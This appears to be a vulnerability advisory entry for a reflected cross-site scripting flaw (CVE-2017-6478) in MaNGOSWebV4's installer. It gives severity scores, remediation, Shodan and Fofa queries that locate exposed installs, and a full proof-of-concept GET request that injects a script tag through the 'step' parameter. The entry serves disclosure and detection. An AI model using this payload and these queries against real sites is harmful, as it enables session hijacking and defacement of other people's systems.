| Title | MaNGOSWebV4 < 4.0.8 - Cross-Site Scripting |
|---|---|
| Author | 0xr2r |
| Severity | Medium |
| Impact | Attackers can execute arbitrary scripts in the victim's browser, potentially leading to session hijacking or defacement. |
| Remediation | Update to version 4.0.8 or later. |
| CVSS Score | 6.1 |
| EPSS Score | 0.03588 |
| CVE ID | CVE-2017-6478 |
| CWE ID | CWE-79 |
| Shodan Query | html:"MaNGOS Web Enhanced V4 Installer" |
| Fofa Query | body="MaNGOS Web Enhanced V4 Installer" |
| Tags | cve cve2017 xss mangoswebv4 paintballrefjosh |
paintballrefjosh/MaNGOSWebV4 < 4.0.8 contains a reflected XSS caused by unsanitized input in install/index.php (step parameter), letting attackers execute arbitrary scripts in the victim’s browser, exploit requires victim to visit a maliciously crafted URL
GET /install/index.php?step=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:12.0) Gecko/20100101 Firefox/12.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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